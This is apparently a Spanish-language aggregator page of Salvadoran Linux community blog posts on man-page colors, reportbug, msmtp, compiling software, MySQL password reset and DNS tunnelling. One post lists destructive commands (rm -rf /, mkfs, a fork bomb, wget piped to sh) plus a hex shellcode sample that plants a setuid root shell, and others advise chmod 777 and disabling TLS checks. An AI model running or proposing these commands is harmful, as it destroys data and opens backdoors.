Mejorando Man pages

Es muy común cuando nos iniciamos en el maravilloso mundo de GNU/Linux leer mucha documentación especialmente cuando se requiere un amplio dominio de los comandos esenciales, para esto existen las paginas de ayuda (aka man pages), por lo general esta información suele ser muy amplia y a veces resulta muy engorroso leer gran cantidad de paginas de ayuda.

Una manera un poco mas agradable para la lectura es incorporar color, esto se logra con un simple Copy/Paste (Copiar/Pegar) del siguiente código:

1
2
3
4
5
6
7
8
# Less Colors for Man Pages
export LESS_TERMCAP_mb=$'\E[01;31m'       # begin blinking
export LESS_TERMCAP_md=$'\E[01;38;5;74m'  # begin bold
export LESS_TERMCAP_me=$'\E[0m'           # end mode
export LESS_TERMCAP_se=$'\E[0m'           # end standout-mode
export LESS_TERMCAP_so=$'\E[38;5;246m'    # begin standout-mode - info box
export LESS_TERMCAP_ue=$'\E[0m'           # end underline
export LESS_TERMCAP_us=$'\E[04;38;5;146m' # begin underline

Si lo prefieres puedes hacer esta configuración permanente editando tu archivo ~/.bashrc :)

Saludos!!

Entradas relacionadas

Feb 02, 2010

Salvador Osorio

Salvador Osorio
Casos y Cosas feed

problemas con llaves (claves) publicas en debian lenny NO_PUBKEY

Cuando queremos actualizar nuestros repositorios con el bien conocidoapt-get updateY no tenemos las claves públicas de los repositorios beryl o debian-multimedia, por ejemplo, nos aparecerá el siguiente mensaje:#Leyendo lista de paquetes... Hecho#W: GPG error: http://debian.beryl-project.org etch Release: Las firmas siguientes no se pudieron verificar porque su llave pública no está disponible:
Salvador Osorio

Salvador Osorio
Casos y Cosas feed

montando discos duros externos usb con particionamiento ntfs en debian lenny

Bueno no hay que hacer la gran cosa El disco duro externo que tengo es un my book WD que se conecta via usb, la primera vez que lo conecte solo aparecieron 644MB y la razon es que viene formateado con una particion ntfsroot@ns:/home/salvador# df -hS.ficheros Tamaño Usado Disp Uso% Montado en/dev/sda1 11G 7.0G 3.1G 70% /tmpfs 1010M 8.0K 1010M 1% /lib/

Jan 25, 2010

Montando Reportbug

Una de las cosas por las que la comunidad del software libre es conocida es por la importancia del trabajo comunitario, es decir si los usuarios creen que los developers o los que manejan cierto software la estan cagando reportan la queja, ya sea una
vulnerabilidad, un programa que se truena (crash) o simplemente quieren dar una sugerencia de alguna caracteristica que podría ser útil a otros usuarios (o al que lo reporto).

En la comunidad debian usamos un programa que sirve para eso, para reportar problemas en nuestra distro y ayudar a hacerla mas estable, este programa se llama Reporbug.

Este busca la información del paquete que presento problema o al que le pedimos caracteristicas nuevas para tener un reporte detallado y sobre todo “útil y legible para el desarrollador”.

Lo que necesitamos:

-Un sistema debian o derivado
-Reportbug (instalado por default en la mayoría)
-un MTA o servidor de correo (msmtp solo configuracion de usuario)(opcional)

Configurando reportbug

a) inicio, nivel de experiencia en Debian
Primero buscamos una aplicacion que nos esta dando problemas, luego damos el comando reportbug en la consola (para gnome ya hay un reportbug gráfico, para los que usan squeeze esta reportbug-ng también gráfico):

$ reportbug

Y nos aparecerá este mensaje:

Welcome to reportbug! Since it looks like this is the first time you have used reportbug,
we are configuring its behavior. These settings will be saved to the file "/home/user/.reportbugrc",
which you will be free to edit further.
Please choose the default operating mode for reportbug.

1 novice Offer simple prompts, bypassing technical questions.

2 standard Offer more extensive prompts, including asking about things that a
 moderately sophisticated user would be expected to know about Debian.

3 advanced Like standard, but assumes you know a bit more about Debian, including "incoming".

4 expert Bypass most handholding measures and preliminary triage routines.
This mode should not be used by people unfamiliar with Debian's policies and operating procedures.

Select mode: [novice]

Aqui dice:
“Bienvenido a reportbug!, Como parece ser esta la primera vez que usas reportbug configuraremos primero su comportamiento. Estas opciones se guardaran en /home/user/.reportbugrc, el cual tienes toda la libertad de modificar despues, elige el comportamiento predeterminado de operación para reportbug:

1 novato Ofrece preguntas simples omitiendo lo mas técnico

2 estandar Ofrece preguntas un poco mas extensas, incluyendo cosas sofisticadas, se espera que el usuario sepa sobre Debian

3 avanzado igual que estandar, pero asume que sabes un poco mas sobre Debian

4 experto Omite la mayoría de las medidas y las rutinas preliminares de pregunta. Este modo no debe ser usado por gente no familiarizada con las politicas y procedimientos de Debian”

Aqui elegiremos novato (si soy novato también) dando enter, si tenemos gnome nos preguntará si queremos interfaz gráfica o interfaz de texto, no es la gran diferencia, pero si te sientes mas cómodo/a con un entorno gráfico elígelo.

b) ¿Tienes acceso a internet?
Despues aparecerá la siguiente pregunta:

Will reportbug often have direct Internet access? (You should answer yes to this question unless you know what you are doing and
plan to check whether duplicate reports have been filed via some other channel.) [Y|n|q|?]?

Aqui dice: “¿Tendrá reportbug acceso directo a internet? (Deberías decir que si a esta pregunta, a menos que sepas lo que haces y planeas revisar si hay reportes duplicados por otro medio) “, si tienes internet lo mejor será poner si (enter), en caso de que no tengas internet (y este how-to lo has impreso) responde que no (n).

c) Identidad
Luego preguntará con que nombre pondrás el reporte de bug (tu nombre completo), será para ser reconocido entre la comunidad Debian (y para que un developer cerca de ti queme tu casa por darle mas trabajo XD).

Luego preguntará tu correo electrónico (sera de conocimiento público asi que buscate uno con buen filtro anti-spam).

d) ¿Has configurado el servidor de correo? Preguntará si tienen instalado un MTA, entro en modo cultural aqui:

(tuxwarrior se pone lentes de fondo de botella y se peina el pelo con la lengua de una vaca y 10 litros de gel)


MTA o Mail Transfer Agent es lo que conocemos todos como un “Servidor de correo”, o el software encargado de enviar o “transferir” correos hacia otras computadoras a traves de la red (ver definicion en Wikipedia: MTA), por favor no confundir con esos programas que usamos para enviar flames a listas de correo o cadenas a nuestros familiares XD, el thunderbird, evolution y todos esos son clientes de correo o MUA (Mail User Agent) tampoco ponemos aqui a los servicios de WebMail como gmail y hotmail.

Saliendo del modo cultural si tenemos instalado y configurado un servidor de correos el bug se enviará directo desde el reportbug, la mayoría de usuarios normales no tiene uno configurado (aunque si instalado), asi que responderán que no, (al final de este post pongo como montar un MTA sencillo solo para un usuario).

e) Final, Proxy y última indicación
Preguntará si se tiene un proxy en la red, en caso de existir hay que poner la dirección o la IP de esta forma: “http://192.168.1.1:puerto/” cambiando la IP por el dominio o la IP de tu proxy y el puerto por el puerto default para el proxy, si no hay proxy entonces dejar en blanco.

Ahora ya terminamos con la configuración inicial de reportbug, ahora a llenar un reporte:

Reportando un bug

Primero hay que saber que es un bug por definicion: “Un defecto de software (computer bug en inglés), es el resultado de un fallo o deficiencia durante el proceso de creación de programas de ordenador o computadora (software). Dicho fallo puede presentarse en cualquiera de las etapas del ciclo de vida del software aunque los más evidentes se dan en la etapa de desarrollo y programación. Los errores pueden suceder en cualquier etapa de la creación de software” fuente Wikipedia:bug.

Antes de llenar nuestro reporte recomiendo leer las buenas prácticas para enviar reportes de bug efectivos aqui

Encuentro un bug
Si alguna aplicación se porta extraño, se traba, usa demasiada memoria para algo muy simple o sin explicacion alguna “Truena“.

Entonces llenamos un reporte de bug de esta manera:

$ reportbug

Llenando el bug
Primero nos preguntará el nombre del paquete afectado, para saber como se llama el paquete del cual viene nuestra aplicacion problemática usamos aptitude:

$ aptitude search amarok
i amarok - easy to use media player based on the KDE Platform

en este caso vemos que el paquete al que pertenece amarok se llama “amarok”, algunos otros son mas engañosos como “epiphany-browser” ya que solo “epiphany” es el paquete de un juego que se llama igual al navegador.
El paquete debe estar instalado, no debemos mandar bugs sobre software que no tenemos.

Luego saldrá una lista de bugs que ya se enviaron sobre ese paquete (pueden ser muchísimos), por favor revisen todos los que mencionen algo sobre el mismo problema si el bug ya lo envió otra persona entonces solo revisemos si tenemos datos para aportar al bug, pero no lo enviemos de nuevo, es redundante y una pérdida de tiempo enviar bugs duplicados.

Si el bug no existe o no se ha reportado entonces nosotros debemos reportarlo y aportar la mayor cantidad de información útil sobre el bug en ingles (la mayoría de los developers son angloparlantes).

Luego nos pedirá una descripción sencilla del bug.

Luego determinamos la gravedad del bug, que puede ser:
1-Critical: hace que otros programas no relacionado en el sistema (o el propio sistema) dejen de funcionar o lo hagan erroneamente

2-Grave: hace al paquete inservible para la mayoría de usuarios o causa pérdida de datos, o inserta un hoyo de seguridad que permite el acceso a las cuentas de usuarios que usen el paquete.

3-Serious: Viola severamente alguna convención de las politicas de Debian sobre paquetes o la libertad de estos (solo developers y mantainers deben usar este).

4-Important: El bug tiene un impacto importante en la usabilidad del paquete, pero no lo hace completamente inservible para todos los usuarios

5-Does not build: No compila (developers o gente que compila las fuentes de debian para cualquier propósito)

6-normal: como el nombre lo dice es lo que normalmente encontraremos, una opcion, acción o entrada hara que el programa truene, sin que el programa sea totalmente inservible

7-minor: Fallos cosméticos, como por ejemplo una palabra mal escrita, ayuda no útil, un boton no funciona o se porta extraño.

8- wishlist: sugerencias o peticiones de carácteristicas nuevas (posibles y útiles).

Segun esta lista elegimos la severidad, luego nos abre un editor (generalmente nano o vi) para escribir la información del bug, debajo de donde se menciona la severidad que elegimos hay un espacio en blanco donde podemos poner la descripción del bug y las pruebas que hicimos para corroborar que es un problema en el programa y no otra cosa como por ejemplo una mala configuración.

Para finalizar guardamos el bug (control+x nano :x vi) luego nos preguntara si deseamos enviar el bug, aqui respondemos si (enter) si tenemos un MTA configurado, en este caso el bug será enviado de inmediato al Debian BTS para su publicación y revisión de parte del responsable del paquete, si no tenemos MTA (la mayoría) damos no (n) y nos dara la ruta donde el bug estara guardado (/tmp/reportbug-archivo), abrimos esta ruta con un editor y copiamos su contenido, luego lo pegamos en un correo nuevo desde nuestro MUA (thunderbird, evolution, claws, mutt <—-si tienes mutt configurado TIENES UN MTA) a la dirección submit@bugs.debian.org o desde nuestro webmail (preferentemente gmail o alguno que no envíe correo en HTML por default).

Montando MSMTP como MTA

Para esta tarea necesitamos una cuenta que soporte envío SMTP, usare gmail para ejemplo, primero instalamos msmtp:

#apt-get install msmtp

Luego como usuario creamos un archivo llamado ~/.msmtprc, y llenamos de la siguiente manera:

account default
host smtp.gmail.com
port 465
auth on
user usuario
password passguord
tls on
tls_starttls off
tls_certcheck off
from usuario@gmail.com

Cambia usuario por tu user de gmail y passguord por la contraseña, luego prueba con este comando si puedes enviar correo:

$echo "una prueba esto es" | msmtp -d direccion@correo.com

Cambia la direccion de correo por una dirección que puedas revisar correo, si recibes un correo sin asunto proveniente de tu cuenta de gmail entonces funciona (puedes usar mutt con este MTA sencillo).

Este MTA solo cumple la funcion de enviar correo de tu usuario hacia la cuenta de gmail asi que no puede manejar recipientes POP3 o IMAP como los servidores completos (postfix, exim, sendmail).

Espero que les haya funcionado y a enviar bugs

mejoremos juntos el software libre aunque no podamos programar


Dec 17, 2009

Raul Alejandro Ascencio Trejo

Raul Alejandro Ascencio Trejo
R_Ascencio feed

Generador de sources-list

Para Debian:       

http://debgen.simplylinux.ch/index.php








Para Ubuntu:

Nov 20, 2009

Manuel Villatoro

Manuel Villatoro
NeoZero's (¬¬) Blog feed

Programacion Linear: Debian GLP-Solve

Hace ya un par de años que llevé Metodos de Optimización (MOP115) o su equivalente Investicagion de Operaciones (IOP115) en la Facultad de Ingeniería y Arquitectura en la Universidad de El Salvador, cosa que mi memoria no recuerda muy bien.

Hoy un compañero que lleva Manejo de Software para otras ingenierias (Que no es Ing. de Sistemas) le dejaron una tarea de explicar un programa para esa materia, y encontró GLP-Solve [1] que resulve problemas de programación lineal.

Como todo debianero, puse a mi disposicion mis habilidades (con ayuda de leprosys [2]) instalandolo en un sistema Debian Lenny GNU/Linux.

Manos a la obra

Lo primero es descargar el archivo compreso:
Descargar GLP-SOLVE
$wget http://carleos.epv.uniovi.es/~juan/dist/GLP-Solve-1.2.tar.gz
Autenticarse como usuario root
$su

Instalar las dependencias:

libgtk2.0-dev
libgnomeui-dev
libgtksourceview-dev
libgnomeprintui2.2-dev
lp-solve
liblpsolve55-dev

# aptitude install libgtk2.0-dev libgnomeui-dev libgtksourceview-dev libgnomeprintui2.2-dev lp-solve liblpsolve55-dev

Hacer un enlace de la libreria compilada liblpsolve55.so en /usr/lib/ con:
# ln -s /usr/lib/lp_solve/liblpsolve55.so /usr/lib/

Descomprimir el archivo

# cd ./GLP-Solve-1.2

Empezar la compilacion.
Configurar el sistema

# liblpsolve_CFLAGS=-I/usr/include/lpsolve liblpsolve_LIBS="/usr/lib/lp_solve/liblpsolve55.so" ./configure --prefix=/usr --docdir=/usr

Compilar
# make


Instalarlo
# make install
# exit

Ejecutarlo con:
$ glp-solve






[1] http://carleos.epv.uniovi.es/~juan/
[2] http://www.leprosys.info/

Programas de 32 bits no disponibles en AMD64

Todos los que hemos hecho el salto a 64 bits en linux nos encontramos con este problema (el mas grande de todos diría yo), estamos acostumbrados a conseguir todo (o casi todo) nuestro software de los repositorios e incluso algunos programas no-libres que estamos a veces obligados a conseguir por culpa de los amigos que tenemos o la empresa en la que laboramos que lo #exige, o incluso los que nos gusta jugar con consolas que ya no estan vigentes (emulacion) a veces no encontramos disponible el emulador al que estamos acostumbrados, aqui pongo una guía para instalar 2 aplicaciones no disponibles para AMD64 en debian:

1-ZSNES: Este es para mi el mejor emulador de SNES existente, no solo es potente, rápido y muy similar a lo que era la propia consola, ademas de todo es libre, el problema es que por alguna razon que no conozco no es posible compilarlo para 64 bits (si lo intente y varias veces), por lo que no existe un deb para AMD64, lo que hice para hacerlo funcionar fue lo siguiente:

* Bajar la version de 32 bits de packages.debian.org, les recomiendo que bajen la versión disponible para su rama de distro (stable, testing o unstable), y lo instalan de esta manera:

dpkg -i --force-architecture zsnes_****_i386.deb

Cambien la censura de asteriscos por la version que bajaron, luego bajen la única dependencia (que yo necesité) que necesita en 32 bits para funcionar, igual que con el emulador bajen la version de 32 bits de libao2, pero en lugar de instalarla con dpkg (por que puede reemplazar la version para 64 bits creando un error enorme en el sistema) la descomprimimos con (ark en KDE, fileroller en Gnome, Xarchiver en XFCE y LXDE):

ar -x libao***i386.deb

Y luego descomprimir el archivo “data” dentro de la resultante:

tar -xvf data.tar.gz 

entramos a usr/lib (dentro de la carpeta data, no en el sistema) y copiamos todo el contenido hacia /usr/lib32/ (esto si en el sistema):

cp -r * /usr/lib32/

ADVERTENCIA: no lo copien a /usr/lib o /usr/lib64, eso hara ESTRAGOS en el sistema.

Una vez listo damos en la consola el comando:

zsnes

Y veremos la pantalla del emulador listo para jugar \o/.

2- skype

Este es EVIL, por obligacion (unos primos en el norte que no conocen linux) tengo que usar este ya que es la unica forma de hacer una videoconferencia decente con gente que odia el mazinger, bueno para instalar este adefesio en AMD64 es necesaria una enorme cantidad de dependencias, skype lo instalamos igual como zsnes (solo que ese lo bajan de la página de la empresa skype no de debian), y lo instalan asi:

dpkg -i --force-architecture skype******.deb

Las dependencias son las siguientes, (bajar todas de packages.debian.org):

-libqt4-dbus
-libqt4-network
-libqtqui4
-libqtcore4
-libqt4-xml

Hagan el proceso que describí anteriormente para libao y skype funcionara en AMD64


Nov 18, 2009

Salvador Osorio

Salvador Osorio
Casos y Cosas feed

Software Libre y desarrollo tecnológico de El Salvador

IntroducciónEn este artículo se trata de dar una visión general sobre Software Libre y su mayor exponente, el Sistema Operativo GNU/Linux (Un Sistema Operativo esta compuesto por una serie de programas que tratan de facilitar la interacción del usuario de computadora con el hardware de la misma), Filosofía de desarrollo, características principales, situación de software libre en Latinoamérica,

Nov 17, 2009

Manuel Villatoro

Manuel Villatoro
NeoZero's (¬¬) Blog feed

Problema X11 Caraceteres

Hace cuatro dias, despues de trabajar un rato en mi debian con gnome, de repente aparecieron estos caracteres en donde deberia aparecer texto.


Despues de esperar, y buscarle solución, intenté:

dpkg-reconfigure fontconfig-config
dpkg-reconfigure fontconfig

Pero sin ningun resultado.
Al ver los logs de .xsession-errrors sale:

(gnome-appearance-properties:8121): Pango-WARNING **: shaping failure, expect ugly output. shape-engine=’BasicEngineFc’, font=’ESP 14′, text=’Spanish (Español) ¡Hola!’

SOLUCION:

Cambiar los permisos de las fuentes, por que al no leerlas no halla como renderizarlas y solo hacemos :
$su
#chmod 777 -R /usr/share/fonts

Y LISTO, ya funciona como deberia.. kkzo

Jul 27, 2009

Francisco Rivera

Francisco Rivera
El rincon de Cisko feed

Mi fin de semana...

Después de dar el aviso de la demo de SQL Injection, por IRC se armó la mini-reunión el día viernes y debido a que por estar travesiando cosas que no debía me había tirado el apache/mysql le pedí a vostorga que llevara su laptop con una instalación LAMP por default, así que el viernes estuvimos un rato reunidos con elsimio y vostorga, no fue una demo porque la gente de la bolsa tiene como "medida

Jun 29, 2009

Melvyn Gomez

Melvyn Gomez
elsimio feed

Asamble General Extraordinaria de Linux SV y otras Comunidades de Software Libre

el día de ayer se celebro una reunión de LinuxSV junto a otras Comunidades de Software Libre de El Salvador para tratar de reorganizarnos, estuvo todo muy bien; ya días no se celebraba una la ultima fue en diciembre del 2005, el extracto de lo hablado lo pueden ver acá.

Jun 19, 2009

David Mejia

David Mejia
DAMR.NET » linux feed

Ubuntu Invade a Microsoft El Salvador

Érase una vez  el proyecto Debian GNU/Linux en 1993, que luego por la apertura de su software, nace el proyecto Ubuntu Linux for Human Beings en el 2004, donde luego surgieron las comunidades las cuales son encargadas de difundir el software en cada territorio. En el caso de El Salvador, existe la comunidad Ubuntu de El Salvador.

Sucedió lo que jamás iba a pensar que sucedería jeje, pero unos jóvenes de la comunidad Ubuntu de El Salvador, se dieron a la tarea de ir a regalar CD’s de Ubuntu en la mera mera oficina principal de Microsoft El Salvador, es decir, es como irse a meter a la cueva del León, cualquiera pensaría “nos van a echar de acá”, pero lo curioso de todo es que al final, les terminaron pidiendo CD’s de Ubuntu :D aunque estuvieron a punto de caer, ya que fueron a pedir CD’s de Windows 7 RC1, pero no tenían, hubiera sido un FAIL para ellos.

Así que esta vez  Microsoft de El Salvador “You Have Been Trolled” (en el buen sentido).

Lean la historia completa en el blog de DK Cross, quien fue el autor principal de los hechos :D

Saludos!!

May 26, 2009

Melvyn Gomez

Melvyn Gomez
elsimio feed

TuxPuck

Por sugerencia de johpunk instale tuxpuck en mi debian y luego de nancear un rato que no hacia ni un pinche gol, al final le pude ganar a arcana y luego a jugar en contra de tux, después de una nanceada buena le pude hacer un gol, creo que ya tengo diversión por otro buen tiempo hasta que logre ganarle a tux, les dejo el reto que le hagan un gol y si pueden le ganan.

May 08, 2009

Manuel Villatoro

Manuel Villatoro
NeoZero's (¬¬) Blog feed

Mysql : restaurar password root

Restaurar la clave de root para mysql en Debian lenny.

1- Detener el servicio de mysql
/etc/init.d/mysql stop
2- Iniciar mysql para que no pida autenticacion
mysqld --skip-grant-tables&
3- Ingresar a la consola de mysql
mysql
4- Cambiar la clave con:
UPDATE mysql.user SET Password=PASSWORD('claveroot') WHERE User='root';
5- Detener el servicio de nuevo
/etc/init.d/mysql stop
6- Iniciar el servicio de nuevo
/etc/init.d/mysql start
7- Ingresar como el usuario root
mysql -p


Saludos

Apr 20, 2009

David Mejia

David Mejia
DAMR.NET » linux feed

Festival Latinoamericano de Software Libre, FLISOL 2009

Como ya es tradición desde hace 4 años, en el mes de Abril se celebra el Festival Latinoamericano de Software Libre (FLISOL), realizandose en todos los países de América Latina, y El Salvador también lo celebrará en grande.

¿Qué habrá en el FLISOL?

Si quieres conocer más acerca del Software Libre, o eres una persona que ha estado usando Windows o Software Privativo toda tu vida, y quieres experimentar el uso del Software Libre y GNU/Linux, te recomiendo grandemente que asistas al FLISOL, porque ahí habrá:

  • Charlas
  • Instalación y Quemado de Distros
  • Conocimiento de Alternativas libres de mucho software de utilidad
  • Compartimiento de experiencias, porque encontrarás mucha gente con experiencia que puede resolver muchas dudas que tengas.

¿Donde Puedo Llegar?

Habrán dos sedes

¿A qué horas?

La hora de inicio será a las 9:00am y terminará a las 4:30pm

Recursos

Si hay algo más que agregar, favor enviar un comentario complementando la información.

Están cordialmente invitados!!

Saludos

Mar 07, 2009

/me va mañana para Guatemala

y eso, amablemente y gentilmente la gente de Debian Guatemala y la Gente del Grupo de usuarios de la Universidad de San Carlos tienen un evento sobre Software libre este sábado(mañana), y tengo la oportunidad de compartir un buen momento con los hermanos «chapines», así que este fin de semana estoy fuera de San Salvador y espero saludar de nuevo desde Antigua Guatemala el sábado en algún bar que tenga wifi :) , así que si alguien de .gt lee y no se entero en sus listas de correo ni en sus websites es momento de buscar debian-gt y LUGUSAC en google :)

Mar 05, 2009

Todos necesitamos internet

Y en algunas ocasiones, nos encontramos en lugares donde en realidad no podemos tener internet.
Uno de los casos comunes es en los aeropuertos/hoteles, donde existen portales cautivos que nos tratan de hacer pagar para tener servico de internet.
en otros lugares, tenemos proxys y administradores que no quieren que el internet fluya, pero bueno, para todo existe solución.

En el mejor de los casos tener un servidor escuchando SSH en un puerto común como 443 ayuda mucho, pero en el peor de los casos, solo tenemos salida de DNS, y nada mas, hasta autenticar.
para esas soluciones es bueno tener iodine:

así:
En el servidor remoto:
(puede ser en un screen que es como /me hace)
# iodined -f 10.0.0.1 usuario
Password: *********

Listo, recordemos que la IP no sea usada por una LAN del Servidor, en mi caso el servidor no tiene un DNS activo, pero existen workarrounds para esos casos.

ahora, en el cliente:
iodine -f XXX.XXX.XXX.XXX usuario
Ponemos nuestro password y listo
tenemos un tunel por DNS, podemos probar hacer ping al host remoto por el tunel (usando la IP que pusimos del lado del cliente)

Bueno, ahora:
ssh -N -f -D localhost:7777 XXX.XXX.XXX.XXX

y tenemos un SOCKs proxy en nuestro equipo, apuntamos nuestra aplicación como iceweasel para usar ese proxy y todos felices :)

Feb 25, 2009

Melvyn Gomez

Melvyn Gomez
elsimio feed

Nuevo Record en Xgalaga

Este domingo que paso me levante tarde, casi a las 11:00 am así que solo busque que había de tomar en el refrigerador, encontré jugo de naranja natural y me fui a la computadora a nancear un rato, al rato me puse a jugar xgalaga-hyperspace en mi Debian solo por ocio pero en la primera partida que tuve vi que llevaba mucha suerte y así como había comentado anteriormente esta vez volví a romper mi

Feb 12, 2009

Francisco Rivera

Francisco Rivera
El rincon de Cisko feed

Iphone Shell: Apt-get, debs y demas..

Muy interesante, definitivamente... aún estoy buscando información al respecto, pero vean el siguiente screenshot:Existe la aplicación Cydia que implementa apt en el iphone... tambien la aplicacion OpenSSH con la que conseguí la shell de arriba... ya me sentí bastante en confianza: el apt-get update funciona muy bien, las passwords no estan shadowed, algunos comandos como fstab, dmesg, nano y

Jan 19, 2009

Francisco Rivera

Francisco Rivera
El rincon de Cisko feed

Primer DD de El Salvador

Realmente es un honor, como miembro fundador de la Comunidad de Usuarios Debian de El Salvador, ser amigo y ahora poder contar con el primer DD - Debian Developer de El Salvador.Como nuestro querido y singular amigo Rene "el churro" Mayorga cuenta en su post, han sido un par de años para concretizar este logro, sin embargo después de tanto esfuerzo y dedicación, El Salvador cuenta con alguien que

Jan 16, 2009

Francisco Hernández

Francisco Hernández
WWW.LYOKO.SV.TC » Linux feed

Goosh.org -> La shell de Google

En otro de mis paseos por Internet me tope con algo bastante interesante (al menos seguro que para los geeks si), y no es ni más ni menos que una aplicación web que simula una shell no oficial de el archirecontraconocido buscador google..

Intente conseguir una verdadera shell conectándome por SSH con el user guest y pass guest y aunque el puerto esta abierto no me pude loguear con esos datos :(

Pero para todos aquellos que disfrutan hacer las cosas al más puro estilo geek, o que deseen buscar en google como lo haría Chuck Norris (bueno en realidad Chuck Norris no necesita buscar en Google), goosh es lo que andabas buscando.

Goosh.org


Usando `deadkeys’ al fin, tildes en mi teclado en Ingles

Una de las cosas que no me gustaba con el hecho de cambiar de laptop era el tema del teclado, pues había tenido ya por buen rato el teclado en español en la HP, y ahora tendría que acostumbrarme de nuevo a no usar tildes, y la falta de la «ñ»

Si bien es cierto mi ortografía es mala, mejoro mucho en el tiempo que use teclado en español, pues ya no tenía excusa para no tildar las palabras que pensaba llevan tildes.

pero bueno, para los pobres desafortunados como yo, que tienen portátiles con teclado en Ingles, aquí la solución:

Esto, saliendo de mi /etc/X11/xorg.conf

17 Section “InputDevice”
18         Identifier      “Generic Keyboard”
19         Driver          “kbd”
20         Option          “XkbRules”      “xorg”
21         Option          “XkbModel”      “pc105″
22         Option          “XkbLayout”     “us”
23         Option          “XkbVariant”    “intl”
24 EndSection

básicamente con la variante “Intl” lo que hacemos es habilitar las teclas muertas en el teclado, es decir, para poner tildes puedo usar la tecla apostrofe «’» y luego la vocal; también se puede usar la combinación AltGr + la vocal, que también funciona. y para la ñ, igual, AltGr + n, o usando la tecla de la virgulilla como deadkey.

Dec 28, 2008

Francisco Hernández

Francisco Hernández
WWW.LYOKO.SV.TC » Linux feed

GNU/Linux vs Windows

No, no voy a comenzar uno de los tantos debates de la informática actual, simplemente posteo las imágenes con las que me tope en un foro :D

ROUND 1:

ROUND 2:

ROUND 3:

ROUND 4:

Al parecer las imagenes son de linuxadictos :D


Dec 18, 2008

Francisco Hernández

Francisco Hernández
WWW.LYOKO.SV.TC » Linux feed

Comandos “malos” (GNU/Linux)

Bueno la imagen es una risa completa pero es de las primeras que aparecen en Google al buscar algo relacionado con tux y la muerte xD

Entrando al tema, navegando por ahí me tope con este post donde menciona 7 comandos que ponen en completo riesgo nuestro OS.

Revisándolos..
rm -rf /
Bastante simple verdad, lo que hace es borrar todos los ficheros desde la raíz del sistema “/” de forma recursiva y sin confirmación alguna..

No se quien podria ejecutar algo así pero al menos puede servir para hacer alguna broma de mal gusto xD

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68?
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99?
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7?
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56?
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31?
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69?
“\x6e\x2f\x73\x68\x00\x2d\x63\x00?
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Aparentemente el mismo comando anterior en forma hexadecimal.

mkfs.ext3 /dev/sda

Este se nota a simple vista lo que hace, va a formatear el disco duro usando el sistema de archivos ext3, bien puede variar algo y en lugar de ser /dev/sda podría ser /dev/hda.. Todo depende.

:( ){:|:&};:

Una bomba fork, ejecuta procesos de forma indefinida hasta que el sistema deje de responder, en otras palabras una negación de servicio a nivel local.

No es tan dañino como los comandos anteriores pero seguro que nadie quisiera ejecutarlo.

any_command > /dev/sda

Una forma simple de arruinar la partición donde esta instalado el sistema, la salida del comando se va a escribir en /dev/sda (otra vez, podría ser /dev/hda/) dejándola completamente inservible.

wget http://some_untrusted_source -O- | sh


Este no garantiza que va a pasar algo malo, lo que hace es que descarga algo de una web ‘x’ y posteriormente lo ejecuta..

El riesgo corre en que no sabemos que estamos descargando.

mv /home/yourhomedirectory/* /dev/null

Este mueve todo lo de tu home a ese agujero negro llamado /dev/null xD

Claro que estos no son los únicos comando peligrosos, son simples formas un tanto ingeniosas de ocupar los mismos recursos del sistema, se pueden dar variaciones y cosas que de igual forma sean fatales para el pingüino (Linux):

mv /* /dev/null

rm -r /etc/

Y varias formas más de combinar estos comandos, claro que para que funcionen deben ser ejecutados como root.

En Youtube andan varios vídeos en su mayoría del famoso comando rm -rf /:

Ahora y a modo de actualización, les comento que no se que hacer con el blog en los próximos días, digo esto porque en el hosting actual solo va a seguir online hasta el próximo 2 de enero xD, tengo pensada una jugada para recuperar y poner todo online de vuelta ese mismo día, pero también quizás llego el momento de dar el salto a un host de pago y un dominio de pago para seguir creciendo..

Aunque puede también que me de un pequeño receso de la blogosfera y luego regrese junto con el proyecto del planeta (cosa que traigo pensada desde hace muchos meses pero nunca la pongo en practica).

Pase lo que pase gracias a todos los que se toman unos minutos para pasar y leer lo que escribo en este blog :)


May 09, 2008

Daniel Estevez

Daniel Estevez
Stevz ~ EnSuSEado feed

OpenSuSE 11

Mar 24, 2008

Daniel Estevez

Daniel Estevez
Stevz ~ EnSuSEado feed

OpenSUSE Regular Brillo de Pantalla DV6000

Dios dijo "video.ko" y la pantalla se hizo BRILLANTE

Sólo en caso de que este maldita y no puedas regular el brillo de la LCD en Linux, aquí hay algo de ayuda. Por favor, tenga en cuenta que se trata howto muy básico y general guía basada en openSuSE. Así que aquí vamos:


EL PROBLEMA
Usted no puede cambiar su brillo de la pantalla de la computadora portátil

RÁPIDA SOLUCION
Habilitar el modulo "Video" que viene con el paquete ACPI


FASE A

  1. Las necesidades de control de brillo LCD con el paquete acpi / video.ko (módulo).
  2. Primero asegúrate de acpi / vídeo módulo se carga correctamente. Ejecutar "lsmod" para ver todos los módulos cargados. Busque la entrada "vídeo". ( pase a fase B) Si no, tendrá que cargar el módulo manualmente. Prosiga con el paso 3.
  3. Cheque para la disponibilidad de este módulo en su distribución. Para ello, ejecuta "modprobe-l" como root para ver todos los módulos disponibles. " Esté atento a una entrada " <someting> /acpi/video.ko" / Acpi / video.ko " </someting> . Si es allí, proceder a paso 4. Aunque se trata de un módulo muy común, pero si, en casos raros, usted no lo encuentra, tendrá que parchear su kernel, que es un proceso largo y esta más allá del alcance de esta guía (una bonita forma de decir que NO por hoy! !) En cualquier caso, es que el módulo, puede proceder.
  4. Ejecutar "modprobe vídeo" como root para cargar el módulo. Luego ejecuta "lsmod" y verá el vídeo se indican en la parte superior. Si no puede ver el módulo de esta lista, andá Fase B
FASE B
Antes de continuar, por favor vaya a través de la fase A, una vez más, y comprobar que no te has perdido nada.
Introducida como una nueva "característica", xorg bloques "vídeo" módulo de carga. Como solución temporal, haga lo siguiente:
  1. Edite como root "/ etc/modprobe.d/xorg-x11-driver-video"
  2. Comentario de la línea "install vídeo / bin / true"
  3. Ejecutar "modprobe vídeo" como root
Para dejar permanente la carga del modulo "Video" ingresamos al archivo /etc/sysconfig/kernel
